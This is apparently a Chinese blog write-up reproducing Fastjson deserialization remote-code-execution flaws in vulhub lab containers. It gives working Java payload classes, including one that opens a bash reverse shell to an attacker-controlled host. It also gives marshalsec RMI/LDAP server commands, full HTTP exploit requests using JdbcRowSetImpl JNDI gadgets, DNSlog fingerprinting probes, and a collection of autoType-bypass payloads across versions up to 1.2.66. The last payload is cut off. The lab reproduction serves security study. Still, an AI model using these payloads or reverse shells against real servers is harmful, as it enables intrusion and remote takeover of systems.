fastjson漏洞复现

fastjson漏洞复现

Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

1
2
3
对fastjson版本小于1.2.48的版本通杀,autoType为关闭状态也可使用。
loadClass中默认cache设置为true,利用分为2步执行,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制
该payload会利用fastjson的反序列化漏洞去指定的rmi/ldap服务进行远程方法调用

主机A: http://192.168.56.106:8090 (存在Fastjson漏洞主机)

主机B: http://192.168.56.1:8989 (恶意java类服务)

主机C: rmi://192.168.56.1:9999 (远程方法调用服务)

PS: 实际上主机B和C是一台机器不同端口

fastjson/1.2.24-rce

环境搭建

使用 vulhub 搭建

1
docker-compose up -d
image-20210901132856918

因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,

可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

Command : touch /tmp/success

TouchFile.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.56.1:8989/#TouchFile" 9999
image-20210901133439751

使用python 搭建一个简单的http服务器

1
python -m http.server --bind 192.168.56.1 8989
image-20210901133540829

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 192.168.56.1:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 162

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.56.1:9999/TouchFile",
"autoCommit":true
}
}

image-20210901133841607

image-20210901134528910

可见命令执行成功!漏洞成功复现

image-20210901133735111

DNSlog 测试

1
2
3
4
5
6
{
"a": {
"@type": "java.net.Inet4Address",
"val": "v5guyp.dnslog.cn"
}
}

image-20210901144126030

GetShell

使用 nc 监听得到反弹shell

Evil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// javac Evil.java
import java.lang.Runtime;
import java.lang.Process;

public class Evil {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.56.1/9090 0>&1 &"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
1
{"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.56.1/9090 0>&1 &"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 192.168.56.1:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 157

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.56.1:9999/Evil",
"autoCommit":true
}
}
image-20210901152322290

image-20210901152340189

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.56.1:8989/#Evil" 9999
1
python -m http.server --bind 192.168.56.1 8989
image-20210901143418464

fastjson_rce_tool

使用 fastjson_rce_tool 快速getshell

https://github.com/wyzxxz/fastjson_rce_tool

1
java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.56.1 8888  "bash=bash -i >&/dev/tcp/192.168.56.1/9090 0>&1"
image-20210901151615763
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 192.168.56.1:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 129

{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://192.168.56.1:8888/Object",
"autoCommit": true
}
}
image-20210901152003880

fastjson/1.2.47-rce

目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。

环境搭建

使用 vulhub 搭建

1
docker-compose up -d

image-20210901185209143

GetShell

使用 nc 监听得到反弹shell

Evil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// javac Evil.java
import java.lang.Runtime;
import java.lang.Process;

public class Evil {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.56.1/9090 0>&1 &"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
1
{"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.56.1/9090 0>&1 &"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: 192.168.56.1:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 157

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.56.1:9999/Evil",
"autoCommit":true
}
}
image-20210901152322290

image-20210901152340189

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.56.1:8989/#Evil" 9999
1
python -m http.server --bind 192.168.56.1 8989
image-20210901143418464

漏洞检测

未知目标是否使用 Fastjson ,但站点有原始报错回显

如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样

例如

image-20200704162617071

无回显,通过DNS回显的方式盲区分 Fastjson 和 Jackson

我使用以下payload测试

1
{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}

image-20200704162844047

最终收到dnslog

image-20200704162922529

最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson

1
2
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}

畸形的

1
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

img

POC:

要嵌套在里面zeo里面

1
2
3
4
5
6
7
8
9
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

多版本payload集合

影响版本:

fastjson<=1.2.24

exp:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}

影响版本:

fastjson<=1.2.41

前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

exp:

1
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

影响版本:

fastjson<=1.2.42

前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

exp:

1
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

影响版本:

fastjson<=1.2.43

前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

exp:

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}

影响版本:

fastjson<=1.2.45

前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

exp:

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}

影响版本:

fastjson<=1.2.47

exp:

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://x.x.x.x:1999/Exploit",
"autoCommit": true
}
}

影响版本:

fastjson<=1.2.62

exp:

1
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"

影响版本:

fastjson<=1.2.66

前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)

exp:

1
2
3
4
5
6
7
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransacti